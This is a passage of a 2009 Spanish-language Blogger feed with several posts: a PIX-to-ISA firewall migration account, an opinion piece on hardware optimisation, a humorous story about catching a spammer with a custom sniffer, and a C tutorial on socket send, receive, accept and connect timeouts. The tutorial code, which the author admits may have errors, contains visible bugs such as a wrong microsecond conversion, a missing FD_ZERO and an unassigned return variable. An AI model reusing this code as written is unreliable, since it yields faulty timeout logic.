comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/4274885713544706227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/4274885713544706227'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/optimizacion-vs-claridad-del-codigo.html' title='Optimizacion vs Claridad del Codigo'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-918267804455062730</id><published>2009-12-28T18:08:00.001-05:00</published><updated>2009-12-28T18:08:48.737-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consultoria'/><title type='text'>Cuando lo importante es  la "Administrabilidad"</title><content type='html'>Bueno venga, dicese, algún día en mi faceta de consultor de seguridad informática y en general TI, pos resulta que en una empresa querían cambiar su flamante firewall Cisco Pix por un ISA Server. Para los entendidos en el tema seguramente desatara un "Oh Hell WTF" así que comencemos.&lt;br /&gt;&lt;br /&gt;Cisco PIX ( Entiéndase que esto es una opinión personal )&lt;br /&gt;&lt;br /&gt;Bueno venga todos sabemos que Cisco mola, y mola mucho, entonces cual es el problema?, muy fácil resultase el que no todos son unos genios Cisco Partner Certified que lo podrían administrar al derecho y al revés ( en realidad unas cuantas horas con google y todo queda claro ). Es por esto que se decidió el tener una plataforma administrable por la mitad de IT, a fin de quitarse múltiples problemas de encima, ya que de por si el cisco estaba muy mal configurado; ahora si vamos a la parte técnica y sus jodas:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Instalando ISA:&lt;/span&gt; Nada complicado, instalar SO, instalar ISA, asegurar SO y configurar el ISA.&lt;br /&gt;&lt;br /&gt;Notas: No deshabilitar servicios como Telephony por que el firewall depende de estos, tampoco implementar las protecciones del SO frente a ataques como syn flood, el firewall se encarga de eso así que no mamen.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Obtener la configuración del PIX:&lt;/span&gt; Bueno acá viene una parte difícil cuando no se conoce PIX. Este maneja objetos en vez de reglas puras ( en teoria ), lo que le permite agrupar como objetos de diferentes tipos los puertos, host y demás, luego se crean reglas que aplican para interfaces internas o externas. Pero en realidad donde viene la joda es en estas lineas:&lt;br /&gt;&lt;br /&gt;ip address outside XXX.XXX.XXX.206 255.255.255.248&lt;br /&gt;&lt;br /&gt;static (inside,outside) XXX.XXX.XXX.204 192.168.1.1 netmask 255.255.255.255 0 0 &lt;br /&gt;static (inside,outside) XXX.XXX.XXX.202 192.168.1.2 netmask 255.255.255.255 0 0 &lt;br /&gt;&lt;br /&gt;En realidad es mas algo de confusión con el tema de redes, si vemos la IP externa que definimos termina en 206 con una mascara de 248 lo que nos deja un total de? o si 6 ip's libres desde la 1 hasta la 6, pero okay esperen lento; se supone que solo podemos setear escuchas en interfaces que tengamos configuradas, lo cual nos produce un gran "FUCK" cuando vemos esto&lt;br /&gt;&lt;br /&gt;access-list outside_access_in permit tcp any host XXX.XXX.XXX.205 object-group FUCK  &lt;br /&gt;access-list outside_access_in permit tcp any host XXX.XXX.XXX.202 object-group FUCK2&lt;br /&gt;&lt;br /&gt;Bueno venga resulta que el PIX es capaz de escuchar en sus diferentes interfaces ( si múltiples ) lo cual le da una gran ventaja, ya que también es capaz de realizar esto desde nivel interno a externo, me explico, sacas el trafico de los servidores corporativos por la IP XXX.XXX.XXX.203 y la de los usuarios mediante la IP XXX.XXX.XXX.202, en caso de que tengas un ataque de SPAM interno tendrás asegurado por lo menos la reputación de tus servidores corporativos.&lt;br /&gt;&lt;br /&gt;Una vez solucionados estos problemas, el replicar la configuración en un ISA requiere cierta improvisación al ser mas limitada la "configurabilidad" del mismo en cuanto se refiere a aspectos de enrutamiento y filtro avanzados, pero funciona y el cliente queda contento :D.&lt;br /&gt;&lt;br /&gt;Happy Fuck.&lt;br /&gt;&lt;br /&gt;PD: En la config del PIX "static" aplica como una ruta.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-918267804455062730?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/918267804455062730/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/cuando-lo-importante-es-la.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/918267804455062730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/918267804455062730'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/cuando-lo-importante-es-la.html' title='Cuando lo importante es  la &quot;Administrabilidad&quot;'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-8695648061950634125</id><published>2009-12-28T18:07:00.000-05:00</published><updated>2009-12-28T18:08:00.068-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General'/><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Por que la era de hielo persiste</title><content type='html'>Bueno dicese que últimamente e andado de ñoño estudiando nuevas tecnologías, chando código etc.. cosa que a uds no les importa en absoluto. &lt;strike&gt;casquelo que yo lo patrocino ñero xD&lt;/strike&gt;&lt;br /&gt;&lt;br /&gt;El hecho recae en que pos los libros de intel molan, y CUDA y las nuevas HCI y etc..; después de unas cuantas pruebas de concepto podemos decir que:&lt;br /&gt;&lt;br /&gt;Los actuales sistemas operativos ( Excepto Mac ) siguen en el pasado, usando las mismas operaciones primitivas, no es que las tarjetas gráficas sean tan la leche ( son la leche ) si no que el actual software es incapaz de aprovechar todo el hardware que tiene a su disposición.&lt;br /&gt;&lt;br /&gt;Si nos fijamos en los libros de intel y las especificaciones inclusive de AMD ( cof cof donde están mis gafas Willson? ) vemos que existen operaciones que aprovechan las ventajas de SSE en todas sus facetas ( 2, 3, etc.. ), las cuales inclusive traen operaciones para strings. Muchos dirán que son pequeñeces pero esas pequeñeces se repiten millones de veces cada minuto en nuestro procesador, el mínimo margen de tiempo haría una diferencia considerable de performance; esperemos a windows &lt;strike&gt;World Domination&lt;/strike&gt; 8 que solo funcara en 64 bits a ver si resuelve ese pequeño detalle.&lt;br /&gt;&lt;br /&gt;Por que salvo a Mac?, por que Mac decidió mudarse a intel en el mejor momento, teniendo a su disponibilidad una serie bastante amplia de nuevas formas de hacer las cosas; que no se tiraron todo ese rato portando nada mas de powerpc a x86 ( Cambiamos modelo de memoria, unas cuantas asm, huu que lindo microkernel ); si no optimizando su funcionamiento, creo que todo el que haya usado Mac recientemente habrá notado la diferencia de performance y demás que tiene con Windows y Linux ( No me salgan con sus kernels específicos o los pateo ).&lt;br /&gt;&lt;br /&gt;Ahora demosle palo a las tarjetas gráficas vs procesador xD, ocurre lo mismo, el procesamiento de datos de gran volumen se optimiza ahora con las tarjetas gráficas, pero cuando son de poco volumen resulta poco practico por los timings de transferencia de datos entre la memoria del pc y la GPU cosa que no tienen en cuenta algunos &lt;strike&gt;cabrones&lt;/strike&gt; programadores que quieren meterle GPU a todo.&lt;br /&gt;Aparte de esto es claro que el SDK de CUDA asi como sus ejemplos estan diseñados para que use las mejores practicas con la tecnología que tienen justo ahora, lo que les permite que aunque los programadores sean un grupo de monos &lt;strike&gt;amaestrados por linus torvalds&lt;/strike&gt; tengan que usar operaciones optimizadas y diseñadas por programadores que de verdad sabían lo que hacían.&lt;br /&gt;&lt;br /&gt;Ya me dio pereza terminar el post.  ademas de que es opinión personal y por ende no causara debate &lt;strike&gt;putos racistas&lt;/strike&gt; ( quien quiere pelear? xD )Si tienen tele ahí se ven xD. &lt;br /&gt;&lt;br /&gt;PD: Las etiquetas strike molan mucho xD.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-8695648061950634125?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/8695648061950634125/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/por-que-la-era-de-hielo-persiste.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8695648061950634125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8695648061950634125'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/por-que-la-era-de-hielo-persiste.html' title='Por que la era de hielo persiste'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-358560140511125123</id><published>2009-12-28T18:05:00.000-05:00</published><updated>2009-12-28T18:06:21.798-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Historias de Ayer y hoy'/><title type='text'>La que no gano la empato!!</title><content type='html'>Huu nuevo "tag" de jodas, pos básicamente son historias de juacking, consultoria y demás mamadas de esas que se supone debería escribir mas a menudo; la siguiente historia retrata la incapacidad innata en mi para aceptar derrotas, haciendo hasta lo imposible por por lo menos empatar la joda, así signifique autojoderme xD.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;La que no gano la empato&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strike&gt;Había una vez&lt;/strike&gt; Un buen día en un mundo infestado de bichos raros, gobernantes déspotas y gente sin la mas jodida idea de jugar Age Of Empires se presento ante el aquel entonces señor de las legiones uno de sus esbirros; este manifestaba que había recibido malos tratos por parte de uno de sus señores feudales debido a que este no había logrado enviar una misiva cuyo contenido era acerca de &lt;strike&gt;petición de aparato de "enlarge your penni"&lt;/strike&gt;advertencia de guerra; esto se debía a que los reinos habitados por este incauto feudo estaban incluidos en la lista de los reinos contaminados con la peste negra, por ende otros reinos rechazaban sus misivas.&lt;br /&gt;&lt;br /&gt;Por que estaba este reino rebosante de bosques llenos de dinero y estupidez humana en la lista de contaminados con la peste negra?&lt;br /&gt;Que estratagema deberíamos tejer en torno a tan grave ocurrencia?&lt;br /&gt;Y si no funciona la estratagema cual es el plan B, C, D...?&lt;br /&gt;&lt;br /&gt;( Que si coño que yo soy el HERO( English xD ) )&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Jueves 13 de Septiembre de 2108:&lt;br /&gt;Misiva en respuesta a la primera pregunta:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mi querido y nunca bien ponderado ( esta es clásica mía xD ) señor de las legiones de como se llame su jodido reino, ud esta incluido por que uno de los visitantes provenientes de otros reinos envía una serie de misivas de contenido &lt;strike&gt;"How to enlarge your penni"&lt;/strike&gt; amenazador a otros reinos firmando como "La peste negra".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Jueves 13 de Septiembre de 2108:&lt;br /&gt;Misiva en respuesta a la segunda pregunta:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Que el sol cubra sus cuerpos con riegos de calor fraternal mi señor de las legiones de ese jodido reino, la forma mas fácil es enviar a uno de sus esbirros para interceptar las misivas que son enviadas a estos reinos lejanos y seguramente mas jodidos que el suyo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Viernes 14 de Septiembre de 2108:&lt;br /&gt;Misiva en respuesta al hero por parte del señor de las legiones&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mis esbirros han sido insistentes y prevalecido ante el cansancio y la hambrina al realizar su dantesca tarea, aun así no han conseguido resultados como los de Hercules frente a medusa relegando a nuestro reino a un periodo de &lt;strike&gt;puteo continuo por parte de los duros&lt;/strike&gt; oscuridad y sombría calma por periodos cortos durante el día, que mas podemos hacer?, ayudemos por favor y prometo darle la mano de cualquiera de mis hijos ( no tengo hijas y mi esposa no aguanta ).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Viernes 14 de Septiembre de 2108:&lt;br /&gt;Misiva en respuesta al señor de las legiones y a la 3ra pregunta&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mi querido y siempre &lt;strike&gt;banco generador de dinero&lt;/strike&gt; bien recibido señor de las legiones de ...whatever al grano. Debido a que mi ya envejecido y maltrecho cuerpo no soportaría los fríos invernales que invaden sus tierras a las 8 de la mañana deberé crear un método para interceptar estos mensajes de manera automática y continuada&lt;strike&gt;y así poder vaguear mas&lt;/strike&gt;, en breve obtendrá ud una respuesta de mi parte describiendo el proceso que ha suscitado en mi ingeniosa mente su nada despreciable problema&lt;strike&gt;que ya me toca los huevos&lt;/strike&gt;.&lt;br /&gt;&lt;br /&gt;PD: Sus hijos saben programar?, se sienten cómodos en los semáforos?.&lt;br /&gt;&lt;br /&gt;...Viernes en la noche, sábado y domingo clavado en un AMD K62 a 350 mhz con Win2K chando código... Llega el lunes...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Lunes 17 de Septiembre de 2108:&lt;br /&gt;Misiva final por parte de hero&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Es mi deber informarle a ud mi señor de las legiones a quien tanto aprecio tengo, que lo e logrado, me a requerido interminables horas de trabajo y esfuerzo el lograr automatizar tan magna tarea, gracias a una serie de compuestos y partes de seres humanos en descomposición e logrado unirles y crear este incansable esbirro con las manos de &lt;strike&gt;Adolescente visitando badjojo.com&lt;/strike&gt; Tommy Carruthers y los ojos del gato de shreck ( a que mola ), el cual escribirá una copia de todas las misivas que uds le indiquen.&lt;br /&gt;&lt;br /&gt;PD: Es un poco Andrógino el coso este... no me aguante las ganas de destajar el cuerpo de Pamela Chu ( Apellido - Nombre )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno si han  llegado hasta acá ya es bastante creo xd, así que la historia sin toda la joda técnica del anterior texto, es que tenían un spammer intermitente en una red corporativa, el muy cabrón enviaba spam a horas X o Y sin patrón de comportamiento ( vayandole puto ) y ya llevaba jueves y viernes sniffeando y nada que encontraba al muy cabrón, así que me clave todo el fin de semana programando un sniffer a medida que basado en determinadas reglas escribía los paquetes capturados a disco y si se sobrepasaba el limite de conexiones en X tiempo enviaba una alerta a un mail, y pos funco :). Dejo screen :D:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_zWBNoSB1aQA/St66_We0p3I/AAAAAAAAADY/kgdBpLdrHYU/s1600-h/Untitled.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 319px; height: 400px;" src="http://2.bp.blogspot.com/_zWBNoSB1aQA/St66_We0p3I/AAAAAAAAADY/kgdBpLdrHYU/s400/Untitled.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5394955001165817714" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;PD: Que si vida degenerada que podría&lt;strike&gt;(del verbo podrir)&lt;/strike&gt; haber puesto al wirecoso a dumpear a disco y mediante otra joda mas sencilla enviar el mail pero me salio de los huevos matarme la cabeza el fin de semana, hacer un soft ponerle el logo de la empresa y no ganarme mas que un "mola" por ese esfuerzo sobre humano ¬¬.&lt;br /&gt;&lt;br /&gt;PD2: No se llego a un acuerdo con lo de los hijos de este loco xD.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-358560140511125123?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/358560140511125123/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/la-que-no-gano-la-empato.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/358560140511125123'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/358560140511125123'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/la-que-no-gano-la-empato.html' title='La que no gano la empato!!'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_zWBNoSB1aQA/St66_We0p3I/AAAAAAAAADY/kgdBpLdrHYU/s72-c/Untitled.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-8203640040174697708</id><published>2009-12-28T18:04:00.000-05:00</published><updated>2009-12-28T18:04:53.204-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><title type='text'>Recv, Send, Accept y ConnectTimeout</title><content type='html'>Tengo medio pereza de seguir codeando y como no me da sueño hasta dentro de un rato paso a hacer un post sobre sockets:&lt;br /&gt;&lt;br /&gt;Advertencia: Este post es realizado sin basarse en ninguna coñera de tuto por lo que puede estar incompleto y tener errores debido a la falta de memoria de tuhermana o en su defecto el autor.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Recv, Send, Accept y ConnectTimeout&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Esta es una de las preguntas mas comunes, suele depende bastante de la plataforma pero mostrare un par de soluciones simples y explicadas:&lt;br /&gt;&lt;br /&gt;Solución Windows API ( Lo mas genérica que la pude hacer )&lt;br /&gt;Soporte: Recibir, Enviar, Aceptar y Conectar.&lt;br /&gt;Comentarios: Esta en particular esta en capacidad de soportar el conectar pero no esta implementado por performance de la librería ( sale mas barato repetir código que meterlo acá :P ).&lt;br /&gt;&lt;br /&gt;int WaitForEvent( long lEvent, u_long ulTime)&lt;br /&gt;{&lt;br /&gt; DWORD dwBlock = 0, dwRet = 0;&lt;br /&gt; WSAEVENT wsEvent = NULL;&lt;br /&gt; int iRet = 0;&lt;br /&gt;&lt;br /&gt; wsEvent = WSACreateEvent();&lt;br /&gt;&lt;br /&gt; if (wsEvent == WSA_INVALID_EVENT)&lt;br /&gt;  return -1;&lt;br /&gt;&lt;br /&gt; iRet = WSAEventSelect( m_iSock, wsEvent, lEvent);&lt;br /&gt; &lt;br /&gt; if (iRet == SOCKET_ERROR) {&lt;br /&gt;  WSACloseEvent( wsEvent );&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; dwRet = WSAWaitForMultipleEvents( 1, &amp;wsEvent, TRUE, ulTime, FALSE);&lt;br /&gt;&lt;br /&gt; WSAEventSelect( m_iSock, wsEvent, 0);&lt;br /&gt; WSACloseEvent( wsEvent );&lt;br /&gt;&lt;br /&gt; ioctlsocket( m_iSock, FIONBIO, &amp;dwBlock);&lt;br /&gt; &lt;br /&gt; if (dwRet == WSA_WAIT_TIMEOUT)&lt;br /&gt;  return 0;&lt;br /&gt;&lt;br /&gt; if (dwRet == WSA_WAIT_EVENT_0)&lt;br /&gt;  return 1;&lt;br /&gt;&lt;br /&gt; return -1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Creo que la mayoría del code es muy descriptivo pero seguramente viene la pregunta de por que putas uso ioctlsocket, la razon es que al asociar el socket con el evento este pasa a ser "no bloqueante" por lo que si no lo seteo de nuevo a bloqueante nos caga la cara.&lt;br /&gt;&lt;br /&gt;Implementaciones para recv, send, accept y connect:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Recv:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;int IsReadyForRecv( u_long ulTime )&lt;br /&gt;{&lt;br /&gt; return WaitForEvent( FD_READ, ulTime);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Send:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;int IsReadyForSend( u_long ulTime )&lt;br /&gt;{&lt;br /&gt; return WaitForEvent( FD_WRITE, ulTime);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Accept:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;int Accept( struct sockaddr_in *psiSin, u_long ulTime)&lt;br /&gt;{&lt;br /&gt; int iStLen = sizeof( sockaddr_in );&lt;br /&gt; int iRes = 0;&lt;br /&gt;&lt;br /&gt; if (!psiSin)&lt;br /&gt;  return INVALID_SOCKET;&lt;br /&gt;&lt;br /&gt; memset( psiSin, 0x00, sizeof( struct sockaddr_in ));&lt;br /&gt;&lt;br /&gt; if (ulTime == INFINITE)&lt;br /&gt;  return accept( m_iSock, ( struct sockaddr * )psiSin, &amp;iStLen);&lt;br /&gt;&lt;br /&gt; iRes = WaitForEvent( FD_ACCEPT, ulTime);&lt;br /&gt;&lt;br /&gt; if (iRes != 1)&lt;br /&gt;  return iRes;&lt;br /&gt;&lt;br /&gt; return accept( m_iSock, ( struct sockaddr * )psiSin, &amp;iStLen);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Connect ( Implementación completa ):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;bool ConnectTo( struct sockaddr_in *pSin, u_long ulTime)&lt;br /&gt;{&lt;br /&gt; int iStLen = sizeof( sockaddr_in );&lt;br /&gt; DWORD dwBlock = 0, dwRet = 0;&lt;br /&gt; struct sockaddr_in siTmp;&lt;br /&gt; WSAEVENT wsEvent;&lt;br /&gt; int iRes = 0;&lt;br /&gt;&lt;br /&gt; if (ulTime == INFINITE) {&lt;br /&gt;  iRes = connect( m_iSock, ( struct sockaddr * )pSin, sizeof( struct sockaddr_in ));&lt;br /&gt;  if (iRes == SOCKET_ERROR)&lt;br /&gt;   return false;&lt;br /&gt;  return true;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; wsEvent = WSACreateEvent();&lt;br /&gt;&lt;br /&gt; if (wsEvent == WSA_INVALID_EVENT)&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; iRes = WSAEventSelect( m_iSock, wsEvent, FD_CONNECT);&lt;br /&gt;&lt;br /&gt; if (iRes == SOCKET_ERROR) {&lt;br /&gt;  WSACloseEvent( wsEvent );&lt;br /&gt;  return false;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; connect( m_iSock, ( struct sockaddr* )pSin, sizeof( struct sockaddr_in ));&lt;br /&gt;&lt;br /&gt; iRes = WSAWaitForMultipleEvents( 1, &amp;wsEvent, TRUE, ulTime, FALSE);&lt;br /&gt;&lt;br /&gt; WSAEventSelect( m_iSock, wsEvent, 0);&lt;br /&gt; WSACloseEvent( wsEvent );&lt;br /&gt;&lt;br /&gt; if (iRes != 0)&lt;br /&gt;  return false;&lt;br /&gt; &lt;br /&gt; if (dwRet == WSA_WAIT_TIMEOUT)&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; if (dwRet == WSA_WAIT_EVENT_0)&lt;br /&gt;  return true;&lt;br /&gt;&lt;br /&gt; if (getpeername( m_iSock, ( struct sockaddr * )&amp;siTmp, &amp;iStLen) != 0)&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; return true;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Recordar que después de WSAEventSelect el socket queda establecido a asíncrono por lo cual la llamada a connect y su valor de retorno nos vale madres, al final utilizamos "getpeername" para verificar que si estamos o no conectados.&lt;br /&gt;&lt;br /&gt;Para los fanboys de linux y demás ahí les dejo:&lt;br /&gt;&lt;br /&gt;Solución: Estándar sockets API ( esta no es en absoluto genérica :P )&lt;br /&gt;Soporte: Recibir, Enviar, Aceptar y Conectar.&lt;br /&gt;Comentarios: No la e probado en sistemas BSD o FlipaOS pero debería funcar, En algunas distros tendrán que hacer m_iSock + 1 en el select para que funque.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Recv:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;bool IsReadyForRecv( u_long ulTime )&lt;br /&gt;{&lt;br /&gt; struct timeval timeout;&lt;br /&gt; fd_set fdAsync;&lt;br /&gt;&lt;br /&gt; if (!IsActive())&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; FD_ZERO( &amp;fdAsync );&lt;br /&gt; FD_SET ( m_iSock, &amp;fdAsync );&lt;br /&gt;&lt;br /&gt; timeout.tv_sec  = !ulTime ? 0 : (ulTime / 1000);&lt;br /&gt; timeout.tv_usec  = !ulTime ? 500 : ((ulTime % 1000) * 100);&lt;br /&gt;&lt;br /&gt; if (select( m_iSock, &amp;fdAsync, NULL, NULL, &amp;timeout) == -1)&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; return FD_ISSET( m_iSock, &amp;fdAsync ) ? true : false;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Send:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;bool IsReadyForSend( u_long ulTime )&lt;br /&gt;{&lt;br /&gt; struct timeval timeout;&lt;br /&gt; fd_set fdAsync;&lt;br /&gt;&lt;br /&gt; if (!IsActive())&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; FD_SET ( m_iSock, &amp;fdAsync );&lt;br /&gt;&lt;br /&gt; timeout.tv_sec  = !ulTime ? 0 : ulTime / 1000;&lt;br /&gt; timeout.tv_usec  = !ulTime ? 500 : (ulTime % 1000) * 100;&lt;br /&gt;&lt;br /&gt; if (select( m_iSock, NULL, &amp;fdAsync, NULL, &amp;timeout) == -1)&lt;br /&gt;  return false;&lt;br /&gt;&lt;br /&gt; return FD_ISSET( m_iSock, &amp;fdAsync ) ? true : false;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;No le veo complicaciones al code de recv y send así que sin comentarios :P.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Accept ( Acá comienza jevus a padecer ):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;sigjmp_buf sbJmp = { 0 }; // GLOBAL // toca ( o miembro de la clase ahí verán )&lt;br /&gt;&lt;br /&gt;int Accept( struct sockaddr_in *pSin, u_long ulTime )&lt;br /&gt;{&lt;br /&gt; socklen_t slLen = sizeof( struct sockaddr_in );&lt;br /&gt; int iRes;&lt;br /&gt;&lt;br /&gt; memset( pSin, 0x00, sizeof( struct sockaddr_in ));&lt;br /&gt;&lt;br /&gt; if (!ulTime)&lt;br /&gt;  return accept( m_iSock, (struct sockaddr *)pSin, &amp;slLen);&lt;br /&gt;&lt;br /&gt; signal( SIGALRM, SignalProc);&lt;br /&gt; &lt;br /&gt; if (!sigsetjmp( sbJmp, 1)) {&lt;br /&gt;  ualarm( ulTime * 1000, 0);&lt;br /&gt;&lt;br /&gt;  iRes = accept( m_iSock, (struct sockaddr*)pSin, &amp;slLen);&lt;br /&gt;&lt;br /&gt;  ualarm( 0, 0);&lt;br /&gt;&lt;br /&gt;  return iRes;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return -1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Esta solución tiene un cierto problema, y es que en programas multihilo puede generar bastantes dolores de cabeza, ahí otra solución mucho mas "elegante"( en teoría ) pero el problema es la portabilidad, ya que funca cuando se le da la gana en el sistema que se le da la gana, esta con una Critical Section para el salto la ganamos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Connect:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;sigjmp_buf sbJmp = { 0 }; // GLOBAL // toca ( o miembro de la clase ahí verán )&lt;br /&gt;&lt;br /&gt;bool ConnectTo( struct sockaddr_in *pSin, u_long ulTime)&lt;br /&gt;{&lt;br /&gt; int iRes;&lt;br /&gt;&lt;br /&gt; if (!ulTime)&lt;br /&gt;  return connect( m_iSock, ( struct sockaddr * )pSin, sizeof( struct sockaddr_in )) == -1 ? false : true;&lt;br /&gt;&lt;br /&gt; signal( SIGALRM, SignalProc);&lt;br /&gt; &lt;br /&gt; if (!sigsetjmp( 